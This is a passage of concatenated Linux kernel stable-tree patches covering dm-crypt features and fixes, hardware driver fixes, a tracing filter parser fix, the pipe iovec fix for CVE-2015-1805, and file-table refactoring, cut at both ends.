crypt_iv_plain_gen }; @@ -625,6 +791,15 @@ static struct crypt_iv_operations crypt_iv_lmk_ops = { .post = crypt_iv_lmk_post }; +static struct crypt_iv_operations crypt_iv_tcw_ops = { + .ctr = crypt_iv_tcw_ctr, + .dtr = crypt_iv_tcw_dtr, + .init = crypt_iv_tcw_init, + .wipe = crypt_iv_tcw_wipe, + .generator = crypt_iv_tcw_gen, + .post = crypt_iv_tcw_post +}; + static void crypt_convert_init(struct crypt_config *cc, struct convert_context *ctx, struct bio *bio_out, struct bio *bio_in, @@ -1454,14 +1629,20 @@ static int crypt_ctr_cipher(struct dm_target *ti, cc->iv_gen_ops = &crypt_iv_null_ops; else if (strcmp(ivmode, "lmk") == 0) { cc->iv_gen_ops = &crypt_iv_lmk_ops; - /* Version 2 and 3 is recognised according + /* + * Version 2 and 3 is recognised according * to length of provided multi-key string. * If present (version 3), last key is used as IV seed. + * All keys (including IV seed) are always the same size. */ if (cc->key_size % cc->key_parts) { cc->key_parts++; cc->key_extra_size = cc->key_size / cc->key_parts; } + } else if (strcmp(ivmode, "tcw") == 0) { + cc->iv_gen_ops = &crypt_iv_tcw_ops; + cc->key_parts += 2; /* IV + whitening */ + cc->key_extra_size = cc->iv_size + TCW_WHITENING_SIZE; } else { ret = -EINVAL; ti->error = "Invalid IV mode"; @@ -1799,7 +1980,7 @@ static int crypt_iterate_devices(struct dm_target *ti, static struct target_type crypt_target = { .name = "crypt", - .version = {1, 12, 1}, + .version = {1, 13, 0}, .module = THIS_MODULE, .ctr = crypt_ctr, .dtr = crypt_dtr, -- cgit v1.2.3 From 0596b350c482f03eda8ed40867404bb2953b3e49 Mon Sep 17 00:00:00 2001 From: Milan Broz Date: Sat, 22 Nov 2014 09:36:04 +0100 Subject: dm crypt: use memzero_explicit for on-stack buffer Use memzero_explicit to cleanup sensitive data allocated on stack to prevent the compiler from optimizing and removing memset() calls. Signed-off-by: Milan Broz Signed-off-by: Mike Snitzer Cc: stable@vger.kernel.org (cherry picked from commit 1a71d6ffe18c0d0f03fc8531949cc8ed41d702ee) Signed-off-by: Alex Shi --- drivers/md/dm-crypt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/md/dm-crypt.c b/drivers/md/dm-crypt.c index fc8c10d2e6e2..421f8118c587 100644 --- a/drivers/md/dm-crypt.c +++ b/drivers/md/dm-crypt.c @@ -711,7 +711,7 @@ static int crypt_iv_tcw_whitening(struct crypt_config *cc, for (i = 0; i < ((1 << SECTOR_SHIFT) / 8); i++) crypto_xor(data + i * 8, buf, 8); out: - memset(buf, 0, sizeof(buf)); + memzero_explicit(buf, sizeof(buf)); return r; } -- cgit v1.2.3 From b5bd4625af0290d6e0cc7f7c73a4fadd59c4de01 Mon Sep 17 00:00:00 2001 From: Mikulas Patocka Date: Fri, 13 Feb 2015 08:23:09 -0500 Subject: dm crypt: use unbound workqueue for request processing Use unbound workqueue by default so that work is automatically balanced between available CPUs. The original behavior of encrypting using the same cpu that IO was submitted on can still be enabled by setting the optional 'same_cpu_crypt' table argument. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer (cherry picked from commit f3396c58fd8442850e759843457d78b6ec3a9589) Signed-off-by: Alex Shi --- Documentation/device-mapper/dm-crypt.txt | 7 ++++- drivers/md/dm-crypt.c | 49 ++++++++++++++++++++++---------- 2 files changed, 40 insertions(+), 16 deletions(-) diff --git a/Documentation/device-mapper/dm-crypt.txt b/Documentation/device-mapper/dm-crypt.txt index c81839b52c4d..571f24ffc91c 100644 --- a/Documentation/device-mapper/dm-crypt.txt +++ b/Documentation/device-mapper/dm-crypt.txt @@ -51,7 +51,7 @@ Parameters: \ Otherwise #opt_params is the number of following arguments. Example of optional parameters section: - 1 allow_discards + 2 allow_discards same_cpu_crypt allow_discards Block discard requests (a.k.a. TRIM) are passed through the crypt device. @@ -63,6 +63,11 @@ allow_discards used space etc.) if the discarded blocks can be located easily on the device later. +same_cpu_crypt + Perform encryption using the same cpu that IO was submitted on. + The default is to use an unbound workqueue so that encryption work + is automatically balanced between available CPUs. + Example scripts =============== LUKS (Linux Unified Key Setup) is now the preferred way to set up disk diff --git a/drivers/md/dm-crypt.c b/drivers/md/dm-crypt.c index 421f8118c587..dc89a1e27131 100644 --- a/drivers/md/dm-crypt.c +++ b/drivers/md/dm-crypt.c @@ -110,7 +110,7 @@ struct iv_tcw_private { * Crypt: maps a linear range of a block device * and encrypts / decrypts at the same time. */ -enum flags { DM_CRYPT_SUSPENDED, DM_CRYPT_KEY_VALID }; +enum flags { DM_CRYPT_SUSPENDED, DM_CRYPT_KEY_VALID, DM_CRYPT_SAME_CPU }; /* * The fields in here must be read only after initialization. @@ -1700,7 +1700,7 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) char dummy; static struct dm_arg _args[] = { - {0, 1, "Invalid number of feature args"}, + {0, 2, "Invalid number of feature args"}, }; if (argc < 5) { @@ -1795,15 +1795,23 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) if (ret) goto bad; - opt_string = dm_shift_arg(&as); + while (opt_params--) { + opt_string = dm_shift_arg(&as); + if (!opt_string) { + ti->error = "Not enough feature arguments"; + goto bad; + } - if (opt_params == 1 && opt_string && - !strcasecmp(opt_string, "allow_discards")) - ti->num_discard_bios = 1; - else if (opt_params) { - ret = -EINVAL; - ti->error = "Invalid feature arguments"; - goto bad; + if (!strcasecmp(opt_string, "allow_discards")) + ti->num_discard_bios = 1; + + else if (!strcasecmp(opt_string, "same_cpu_crypt")) + set_bit(DM_CRYPT_SAME_CPU, &cc->flags); + + else { + ti->error = "Invalid feature arguments"; + goto bad; + } } } @@ -1814,8 +1822,11 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) goto bad; } - cc->crypt_queue = alloc_workqueue("kcryptd", - WQ_CPU_INTENSIVE | WQ_MEM_RECLAIM, 1); + if (test_bit(DM_CRYPT_SAME_CPU, &cc->flags)) + cc->crypt_queue = alloc_workqueue("kcryptd", WQ_CPU_INTENSIVE | WQ_MEM_RECLAIM, 1); + else + cc->crypt_queue = alloc_workqueue("kcryptd", WQ_CPU_INTENSIVE | WQ_MEM_RECLAIM | WQ_UNBOUND, + num_online_cpus()); if (!cc->crypt_queue) { ti->error = "Couldn't create kcryptd queue"; goto bad; @@ -1864,6 +1875,7 @@ static void crypt_status(struct dm_target *ti, status_type_t type, { struct crypt_config *cc = ti->private; unsigned i, sz = 0; + int num_feature_args = 0; switch (type) { case STATUSTYPE_INFO: @@ -1882,8 +1894,15 @@ static void crypt_status(struct dm_target *ti, status_type_t type, DMEMIT(" %llu %s %llu", (unsigned long long)cc->iv_offset, cc->dev->name, (unsigned long long)cc->start); - if (ti->num_discard_bios) - DMEMIT(" 1 allow_discards"); + num_feature_args += !!ti->num_discard_bios; + num_feature_args += test_bit(DM_CRYPT_SAME_CPU, &cc->flags); + if (num_feature_args) { + DMEMIT(" %d", num_feature_args); + if (ti->num_discard_bios) + DMEMIT(" allow_discards"); + if (test_bit(DM_CRYPT_SAME_CPU, &cc->flags)) + DMEMIT(" same_cpu_crypt"); + } break; } @@ -1980,7 +1999,7 @@ static int crypt_iterate_devices(struct dm_target *ti, static struct target_type crypt_target = { .name = "crypt", - .version = {1, 13, 0}, + .version = {1, 14, 0}, .module = THIS_MODULE, .ctr = crypt_ctr, .dtr = crypt_dtr, -- cgit v1.2.3 From 3ae0c24e1ef998974256a8bd37a6b17d2a8ddc93 Mon Sep 17 00:00:00 2001 From: Mikulas Patocka Date: Fri, 28 Mar 2014 15:51:55 -0400 Subject: dm crypt: use per-bio data Change dm-crypt so that it uses auxiliary data allocated with the bio. Dm-crypt requires two allocations per request - struct dm_crypt_io and struct ablkcipher_request (with other data appended to it). It previously only used mempool allocations. Some requests may require more dm_crypt_ios and ablkcipher_requests, however most requests need just one of each of these two structures to complete. This patch changes it so that the first dm_crypt_io and ablkcipher_request are allocated with the bio (using target per_bio_data_size option). If the request needs additional values, they are allocated from the mempool. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer (cherry picked from commit 298a9fa08a1577211d42a75e8fc073baef61e0d9) Signed-off-by: Alex Shi Conflicts: drivers/md/dm-crypt.c Solutions: reuse the old bio->sector instead of bvec ioterator --- drivers/md/dm-crypt.c | 41 +++++++++++++++++++++++++++-------------- 1 file changed, 27 insertions(+), 14 deletions(-) diff --git a/drivers/md/dm-crypt.c b/drivers/md/dm-crypt.c index dc89a1e27131..686cb08d3879 100644 --- a/drivers/md/dm-crypt.c +++ b/drivers/md/dm-crypt.c @@ -61,7 +61,7 @@ struct dm_crypt_io { int error; sector_t sector; struct dm_crypt_io *base_io; -}; +} CRYPTO_MINALIGN_ATTR; struct dm_crypt_request { struct convert_context *ctx; @@ -164,6 +164,8 @@ struct crypt_config { */ unsigned int dmreq_start; + unsigned int per_bio_data_size; + unsigned long flags; unsigned int key_size; unsigned int key_parts; /* independent parts in key buffer */ @@ -906,6 +908,15 @@ static void crypt_alloc_req(struct crypt_config *cc, kcryptd_async_done, dmreq_of_req(cc, ctx->req)); } +static void crypt_free_req(struct crypt_config *cc, + struct ablkcipher_request *req, struct bio *base_bio) +{ + struct dm_crypt_io *io = dm_per_bio_data(base_bio, cc->per_bio_data_size); + + if ((struct ablkcipher_request *)(io + 1) != req) + mempool_free(req, cc->req_pool); +} + /* * Encrypt / decrypt data from one bio to another one (can be the same one) */ @@ -1020,12 +1031,9 @@ static void crypt_free_buffer_pages(struct crypt_config *cc, struct bio *clone) } } -static struct dm_crypt_io *crypt_io_alloc(struct crypt_config *cc, - struct bio *bio, sector_t sector) +static void crypt_io_init(struct dm_crypt_io *io, struct crypt_config *cc, + struct bio *bio, sector_t sector) { - struct dm_crypt_io *io; - - io = mempool_alloc(cc->io_pool, GFP_NOIO); io->cc = cc; io->base_bio = bio; io->sector = sector; @@ -1033,8 +1041,6 @@ static struct dm_crypt_io *crypt_io_alloc(struct crypt_config *cc, io->base_io = NULL; io->ctx.req = NULL; atomic_set(&io->io_pending, 0); - - return io; } static void crypt_inc_pending(struct dm_crypt_io *io) @@ -1058,8 +1064,9 @@ static void crypt_dec_pending(struct dm_crypt_io *io) return; if (io->ctx.req) - mempool_free(io->ctx.req, cc->req_pool); - mempool_free(io, cc->io_pool); + crypt_free_req(cc, io->ctx.req, base_bio); + if (io != dm_per_bio_data(base_bio, cc->per_bio_data_size)) + mempool_free(io, cc->io_pool); if (likely(!base_io)) bio_endio(base_bio, error); @@ -1267,8 +1274,8 @@ static void kcryptd_crypt_write_convert(struct dm_crypt_io *io) * between fragments, so switch to a new dm_crypt_io structure. */ if (unlikely(!crypt_finished && remaining)) { - new_io = crypt_io_alloc(io->cc, io->base_bio, - sector); + new_io = mempool_alloc(cc->io_pool, GFP_NOIO); + crypt_io_init(new_io, io->cc, io->base_bio, sector); crypt_inc_pending(new_io); crypt_convert_init(cc, &new_io->ctx, NULL, io->base_bio, sector); @@ -1338,7 +1345,7 @@ static void kcryptd_async_done(struct crypto_async_request *async_req, if (error < 0) io->error = -EIO; - mempool_free(req_of_dmreq(cc, dmreq), cc->req_pool); + crypt_free_req(cc, req_of_dmreq(cc, dmreq), io->base_bio); if (!atomic_dec_and_test(&ctx->cc_pending)) return; @@ -1753,6 +1760,10 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) goto bad; } + cc->per_bio_data_size = ti->per_bio_data_size = + sizeof(struct dm_crypt_io) + cc->dmreq_start + + sizeof(struct dm_crypt_request) + cc->iv_size; + cc->page_pool = mempool_create_page_pool(MIN_POOL_PAGES, 0); if (!cc->page_pool) { ti->error = "Cannot allocate page mempool"; @@ -1859,7 +1870,9 @@ static int crypt_map(struct dm_target *ti, struct bio *bio) return DM_MAPIO_REMAPPED; } - io = crypt_io_alloc(cc, bio, dm_target_offset(ti, bio->bi_sector)); + io = dm_per_bio_data(bio, cc->per_bio_data_size); + crypt_io_init(io, cc, bio, dm_target_offset(ti, bio->bi_sector)); + io->ctx.req = (struct ablkcipher_request *)(io + 1); if (bio_data_dir(io->base_bio) == READ) { if (kcryptd_io_read(io, GFP_NOWAIT)) -- cgit v1.2.3 From b6d2d39a05f2c6acb741b8edcab160be85b0b6bb Mon Sep 17 00:00:00 2001 From: Steve Cornelius Date: Mon, 15 Jun 2015 16:52:59 -0700 Subject: crypto: caam - fix RNG buffer cache alignment commit 412c98c1bef65fe7589f1300e93735d96130307c upstream. The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx) allocated in one DMA-tagged region. While the kernel's heap allocator should place the overall struct on a cacheline aligned boundary, the 2 buffers contained within may not necessarily align. Consenquently, the ends of unaligned buffers may not fully flush, and if so, stale data will be left behind, resulting in small repeating patterns. This fix aligns the buffers inside the struct. Note that not all of the data inside caam_rng_ctx necessarily needs to be DMA-tagged, only the buffers themselves require this. However, a fix would incur the expense of error-handling bloat in the case of allocation failure. Signed-off-by: Steve Cornelius Signed-off-by: Victoria Milhoan Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman --- drivers/crypto/caam/caamrng.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/crypto/caam/caamrng.c b/drivers/crypto/caam/caamrng.c index d1939a9539c0..04aefffb4dd9 100644 --- a/drivers/crypto/caam/caamrng.c +++ b/drivers/crypto/caam/caamrng.c @@ -56,7 +56,7 @@ /* Buffer, its dma address and lock */ struct buf_data { - u8 buf[RN_BUF_SIZE]; + u8 buf[RN_BUF_SIZE] ____cacheline_aligned; dma_addr_t addr; struct completion filled; u32 hw_desc[DESC_JOB_O_LEN]; -- cgit v1.2.3 From 63dec3118397e4a94b92d2c395b4310ecb449581 Mon Sep 17 00:00:00 2001 From: Steven Rostedt Date: Mon, 15 Jun 2015 17:50:25 -0400 Subject: tracing: Have filter check for balanced ops commit 2cf30dc180cea808077f003c5116388183e54f9e upstream. When the following filter is used it causes a warning to trigger: # cd /sys/kernel/debug/tracing # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter -bash: echo: write error: Invalid argument # cat events/ext4/ext4_truncate_exit/filter ((dev==1)blocks==2) ^ parse_error: No error ------------[ cut here ]------------ WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990() Modules linked in: bnep lockd grace bluetooth ... CPU: 3 PID: 1223 Comm: bash Tainted: G W 4.1.0-rc3-test+ #450 Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012 0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0 0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea Call Trace: [] dump_stack+0x4c/0x6e [] warn_slowpath_common+0x97/0xe0 [] ? _kstrtoull+0x2c/0x80 [] warn_slowpath_null+0x1a/0x20 [] replace_preds+0x3c5/0x990 [] create_filter+0x82/0xb0 [] apply_event_filter+0xd4/0x180 [] event_filter_write+0x8f/0x120 [] __vfs_write+0x28/0xe0 [] ? __sb_start_write+0x53/0xf0 [] ? security_file_permission+0x30/0xc0 [] vfs_write+0xb8/0x1b0 [] SyS_write+0x4f/0xb0 [] system_call_fastpath+0x12/0x6a ---[ end trace e11028bd95818dcd ]--- Worse yet, reading the error message (the filter again) it says that there was no error, when there clearly was. The issue is that the code that checks the input does not check for balanced ops. That is, having an op between a closed parenthesis and the next token. This would only cause a warning, and fail out before doing any real harm, but it should still not caues a warning, and the error reported should work: # cd /sys/kernel/debug/tracing # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter -bash: echo: write error: Invalid argument # cat events/ext4/ext4_truncate_exit/filter ((dev==1)blocks==2) ^ parse_error: Meaningless filter expression And give no kernel warning. Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home Cc: Peter Zijlstra Cc: Ingo Molnar Cc: Arnaldo Carvalho de Melo Reported-by: Vince Weaver Tested-by: Vince Weaver Signed-off-by: Steven Rostedt [ luis: backported to 3.16: - unconditionally decrement cnt as the OP_NOT logic was introduced only by e12c09cf3087 ("tracing: Add NOT to filtering logic") ] Signed-off-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman --- kernel/trace/trace_events_filter.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/kernel/trace/trace_events_filter.c b/kernel/trace/trace_events_filter.c index 0a1edc694d67..fe3e086d38e9 100644 --- a/kernel/trace/trace_events_filter.c +++ b/kernel/trace/trace_events_filter.c @@ -1328,19 +1328,24 @@ static int check_preds(struct filter_parse_state *ps) { int n_normal_preds = 0, n_logical_preds = 0; struct postfix_elt *elt; + int cnt = 0; list_for_each_entry(elt, &ps->postfix, list) { - if (elt->op == OP_NONE) + if (elt->op == OP_NONE) { + cnt++; continue; + } + cnt--; if (elt->op == OP_AND || elt->op == OP_OR) { n_logical_preds++; continue; } n_normal_preds++; + WARN_ON_ONCE(cnt < 0); } - if (!n_normal_preds || n_logical_preds >= n_normal_preds) { + if (cnt != 1 || !n_normal_preds || n_logical_preds >= n_normal_preds) { parse_error(ps, FILT_ERR_INVALID_FILTER, 0); return -EINVAL; } -- cgit v1.2.3 From 97d905e8568ff57c36c3e89b23b1c0f9f5146f96 Mon Sep 17 00:00:00 2001 From: Adam Jackson Date: Mon, 15 Jun 2015 16:16:15 -0400 Subject: drm/mgag200: Reject non-character-cell-aligned mode widths commit 25161084b1c1b0c29948f6f77266a35f302196b7 upstream. Turns out 1366x768 does not in fact work on this hardware. Signed-off-by: Adam Jackson Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman --- drivers/gpu/drm/mgag200/mgag200_mode.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/drivers/gpu/drm/mgag200/mgag200_mode.c b/drivers/gpu/drm/mgag200/mgag200_mode.c index f6341e8622ee..7bd2acce9f81 100644 --- a/drivers/gpu/drm/mgag200/mgag200_mode.c +++ b/drivers/gpu/drm/mgag200/mgag200_mode.c @@ -1487,6 +1487,11 @@ static int mga_vga_mode_valid(struct drm_connector *connector, return MODE_BANDWIDTH; } + if ((mode->hdisplay % 8) != 0 || (mode->hsync_start % 8) != 0 || + (mode->hsync_end % 8) != 0 || (mode->htotal % 8) != 0) { + return MODE_H_ILLEGAL; + } + if (mode->crtc_hdisplay > 2048 || mode->crtc_hsync_start > 4096 || mode->crtc_hsync_end > 4096 || mode->crtc_htotal > 4096 || mode->crtc_vdisplay > 2048 || mode->crtc_vsync_start > 4096 || -- cgit v1.2.3 From 14f81062f365fa9e3839bb2a16862217b71a553c Mon Sep 17 00:00:00 2001 From: Ben Hutchings Date: Tue, 16 Jun 2015 22:11:06 +0100 Subject: pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec, the first time atomically and the second time not. The second attempt needs to continue from the iovec position, pipe buffer offset and remaining length where the first attempt failed, but currently the pipe buffer offset and remaining length are reset. This will corrupt the piped data (possibly also leading to an information leak between processes) and may also corrupt kernel memory. This was fixed upstream by commits f0d1bec9d58d ("new helper: copy_page_from_iter()") and 637b58c2887e ("switch pipe_read() to copy_page_to_iter()"), but those aren't suitable for stable. This fix for older kernel versions was made by Seth Jennings for RHEL and I have extracted it from their update. CVE-2015-1805 References: https://bugzilla.redhat.com/show_bug.cgi?id=1202855 Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman --- fs/pipe.c | 55 ++++++++++++++++++++++++++++++++----------------------- 1 file changed, 32 insertions(+), 23 deletions(-) diff --git a/fs/pipe.c b/fs/pipe.c index 0e0752ef2715..3e7ab278bb0c 100644 --- a/fs/pipe.c +++ b/fs/pipe.c @@ -117,25 +117,27 @@ void pipe_wait(struct pipe_inode_info *pipe) } static int -pipe_iov_copy_from_user(void *to, struct iovec *iov, unsigned long len, - int atomic) +pipe_iov_copy_from_user(void *addr, int *offset, struct iovec *iov, + size_t *remaining, int atomic) { unsigned long copy; - while (len > 0) { + while (*remaining > 0) { while (!iov->iov_len) iov++; - copy = min_t(unsigned long, len, iov->iov_len); + copy = min_t(unsigned long, *remaining, iov->iov_len); if (atomic) { - if (__copy_from_user_inatomic(to, iov->iov_base, copy)) + if (__copy_from_user_inatomic(addr + *offset, + iov->iov_base, copy)) return -EFAULT; } else { - if (copy_from_user(to, iov->iov_base, copy)) + if (copy_from_user(addr + *offset, + iov->iov_base, copy)) return -EFAULT; } - to += copy; - len -= copy; + *offset += copy; + *remaining -= copy; iov->iov_base += copy; iov->iov_len -= copy; } @@ -143,25 +145,27 @@ pipe_iov_copy_from_user(void *to, struct iovec *iov, unsigned long len, } static int -pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len, - int atomic) +pipe_iov_copy_to_user(struct iovec *iov, void *addr, int *offset, + size_t *remaining, int atomic) { unsigned long copy; - while (len > 0) { + while (*remaining > 0) { while (!iov->iov_len) iov++; - copy = min_t(unsigned long, len, iov->iov_len); + copy = min_t(unsigned long, *remaining, iov->iov_len); if (atomic) { - if (__copy_to_user_inatomic(iov->iov_base, from, copy)) + if (__copy_to_user_inatomic(iov->iov_base, + addr + *offset, copy)) return -EFAULT; } else { - if (copy_to_user(iov->iov_base, from, copy)) + if (copy_to_user(iov->iov_base, + addr + *offset, copy)) return -EFAULT; } - from += copy; - len -= copy; + *offset += copy; + *remaining -= copy; iov->iov_base += copy; iov->iov_len -= copy; } @@ -395,7 +399,7 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov, struct pipe_buffer *buf = pipe->bufs + curbuf; const struct pipe_buf_operations *ops = buf->ops; void *addr; - size_t chars = buf->len; + size_t chars = buf->len, remaining; int error, atomic; if (chars > total_len) @@ -409,9 +413,11 @@ pipe_read(struct kiocb *iocb, const struct iovec *_iov, } atomic = !iov_fault_in_pages_write(iov, chars); + remaining = chars; redo: addr = ops->map(pipe, buf, atomic); - error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic); + error = pipe_iov_copy_to_user(iov, addr, &buf->offset, + &remaining, atomic); ops->unmap(pipe, buf, addr); if (unlikely(error)) { /* @@ -426,7 +432,6 @@ redo: break; } ret += chars; - buf->offset += chars; buf->len -= chars; /* Was it a packet buffer? Clean up and exit */ @@ -531,6 +536,7 @@ pipe_write(struct kiocb *iocb, const struct iovec *_iov, if (ops->can_merge && offset + chars <= PAGE_SIZE) { int error, atomic = 1; void *addr; + size_t remaining = chars; error = ops->confirm(pipe, buf); if (error) @@ -539,8 +545,8 @@ pipe_write(struct kiocb *iocb, const struct iovec *_iov, iov_fault_in_pages_read(iov, chars); redo1: addr = ops->map(pipe, buf, atomic); - error = pipe_iov_copy_from_user(offset + addr, iov, - chars, atomic); + error = pipe_iov_copy_from_user(addr, &offset, iov, + &remaining, atomic); ops->unmap(pipe, buf, addr); ret = error; do_wakeup = 1; @@ -575,6 +581,8 @@ redo1: struct page *page = pipe->tmp_page; char *src; int error, atomic = 1; + int offset = 0; + size_t remaining; if (!page) { page = alloc_page(GFP_HIGHUSER); @@ -595,14 +603,15 @@ redo1: chars = total_len; iov_fault_in_pages_read(iov, chars); + remaining = chars; redo2: if (atomic) src = kmap_atomic(page); else src = kmap(page); - error = pipe_iov_copy_from_user(src, iov, chars, - atomic); + error = pipe_iov_copy_from_user(src, &offset, iov, + &remaining, atomic); if (atomic) kunmap_atomic(src); else -- cgit v1.2.3 From 17c06c69128f310cac51858455b1483a30c875ad Mon Sep 17 00:00:00 2001 From: James Smart Date: Wed, 7 May 2014 17:16:46 -0400 Subject: lpfc: Add iotag memory barrier commit 27f344eb15dd0da80ebec80c7245e8c85043f841 upstream. Add a memory barrier to ensure the valid bit is read before any of the cqe payload is read. This fixes an issue seen on Power where the cqe payload was getting loaded before the valid bit. When this occurred, we saw an iotag out of range error when a command completed, but since the iotag looked invalid the command didn't get completed to scsi core. Later we hit the command timeout, attempted to abort the command, then waited for the aborted command to get returned. Since the adapter already returned the command, we timeout waiting, and end up escalating EEH all the way to host reset. This patch fixes this issue. Signed-off-by: Brian King Signed-off-by: James Smart Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman --- drivers/scsi/lpfc/lpfc_sli.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/drivers/scsi/lpfc/lpfc_sli.c b/drivers/scsi/lpfc/lpfc_sli.c index 572579f87de4..90861416b9e9 100644 --- a/drivers/scsi/lpfc/lpfc_sli.c +++ b/drivers/scsi/lpfc/lpfc_sli.c @@ -263,6 +263,16 @@ lpfc_sli4_eq_get(struct lpfc_queue *q) return NULL; q->hba_index = idx; + + /* + * insert barrier for instruction interlock : data from the hardware + * must have the valid bit checked before it can be copied and acted + * upon. Given what was seen in lpfc_sli4_cq_get() of speculative + * instructions allowing action on content before valid bit checked, + * add barrier here as well. May not be needed as "content" is a + * single 32-bit entity here (vs multi word structure for cq's). + */ + mb(); return eqe; } @@ -368,6 +378,17 @@ lpfc_sli4_cq_get(struct lpfc_queue *q) cqe = q->qe[q->hba_index].cqe; q->hba_index = idx; + + /* + * insert barrier for instruction interlock : data from the hardware + * must have the valid bit checked before it can be copied and acted + * upon. Speculative instructions were allowing a bcopy at the start + * of lpfc_sli4_fp_handle_wcqe(), which is called immediately + * after our return, to copy data before the valid bit check above + * was done. As such, some of the copied data was stale. The barrier + * ensures the check is before any data is copied. + */ + mb(); return cqe; } -- cgit v1.2.3 From b3d78448444995411ba87af2237391bf68fc358d Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Mon, 29 Jun 2015 12:08:45 -0700 Subject: Linux 3.10.82 --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 6d19e37d36d5..5e3e665a10b7 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ VERSION = 3 PATCHLEVEL = 10 -SUBLEVEL = 81 +SUBLEVEL = 82 EXTRAVERSION = NAME = TOSSUG Baby Fish -- cgit v1.2.3 From 2a7abb5a0b35ca8f7c9f8113322fbff87b5d6667 Mon Sep 17 00:00:00 2001 From: Oleg Nesterov Date: Mon, 8 Jul 2013 14:24:16 -0700 Subject: fput: turn "list_head delayed_fput_list" into llist_head commit 4f5e65a1cc90bbb15b9f6cdc362922af1bcc155a upstream. fput() and delayed_fput() can use llist and avoid the locking. This is unlikely path, it is not that this change can improve the performance, but this way the code looks simpler. Signed-off-by: Oleg Nesterov Suggested-by: Andrew Morton Cc: Al Viro Cc: Andrey Vagin Cc: "Eric W. Biederman" Cc: David Howells Cc: Huang Ying Cc: Peter Zijlstra Signed-off-by: Andrew Morton Signed-off-by: Al Viro Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman --- fs/file_table.c | 25 ++++++++++--------------- include/linux/fs.h | 2 ++ 2 files changed, 12 insertions(+), 15 deletions(-) diff --git a/fs/file_table.c b/fs/file_table.c index 54a34be444f9..cd4ef34bb641 100644 --- a/fs/file_table.c +++ b/fs/file_table.c @@ -265,18 +265,15 @@ static void __fput(struct file *file) mntput(mnt); } -static DEFINE_SPINLOCK(delayed_fput_lock); -static LIST_HEAD(delayed_fput_list); +static LLIST_HEAD(delayed_fput_list); static void delayed_fput(struct work_struct *unused) { - LIST_HEAD(head); - spin_lock_irq(&delayed_fput_lock); - list_splice_init(&delayed_fput_list, &head); - spin_unlock_irq(&delayed_fput_lock); - while (!list_empty(&head)) { - struct file *f = list_first_entry(&head, struct file, f_u.fu_list); - list_del_init(&f->f_u.fu_list); - __fput(f); + struct llist_node *node = llist_del_all(&delayed_fput_list); + struct llist_node *next; + + for (; node; node = next) { + next = llist_next(node); + __fput(llist_entry(node, struct file, f_u.fu_llist)); } } @@ -306,7 +303,6 @@ void fput(struct file *file) { if (atomic_long_dec_and_test(&file->f_count)) { struct task_struct *task = current; - unsigned long flags; file_sb_list_del(file); if (likely(!in_interrupt() && !(task->flags & PF_KTHREAD))) { @@ -314,10 +310,9 @@ void fput(struct file *file) if (!task_work_add(task, &file->f_u.fu_rcuhead, true)) return; } - spin_lock_irqsave(&delayed_fput_lock, flags); - list_add(&file->f_u.fu_list, &delayed_fput_list); - schedule_work(&delayed_fput_work); - spin_unlock_irqrestore(&delayed_fput_lock, flags); + + if (llist_add(&file->f_u.fu_llist, &delayed_fput_list)) + schedule_work(&delayed_fput_work); } } diff --git a/include/linux/fs.h b/include/linux/fs.h index d57bc5df7225..f45857a7ac49 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -10,6 +10,7 @@ #include #include #include +#include #include #include #include @@ -767,6 +768,7 @@ struct file { */ union { struct list_head fu_list; + struct llist_node fu_llist; struct rcu_head fu_rcuhead; } f_u; struct path f_path; -- cgit v1.2.3 From 68c8a7ae3030f73631a98d4d9ee16e31cba0c1b5 Mon Sep 17 00:00:00 2001 From: Al Viro Date: Fri, 4 Oct 2013 11:06:42 -0400 Subject: get rid of s_files and files_lock commit eee5cc2702929fd41cce28058dc6d6717f723f87 upstream. The only thing we need it for is alt-sysrq-r (emergency remount r/o) and these days we can do just as well without going through the list of files. Signed-off-by: Al Viro [wangkai: backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman --- fs/file_table.c | 123 ----------------------------------------------------- fs/internal.h | 3 -- fs/open.c | 2 - fs/super.c | 23 +--------- include/linux/fs.h | 13 ------ 5 files changed, 2 insertions(+), 162 deletions(-) diff --git a/fs/file_table.c b/fs/file_table.c index cd4ef34bb641..28f02a7cbba1 100644 --- a/fs/file_table.c +++ b/fs/file_table.c @@ -36,8 +36,6 @@ 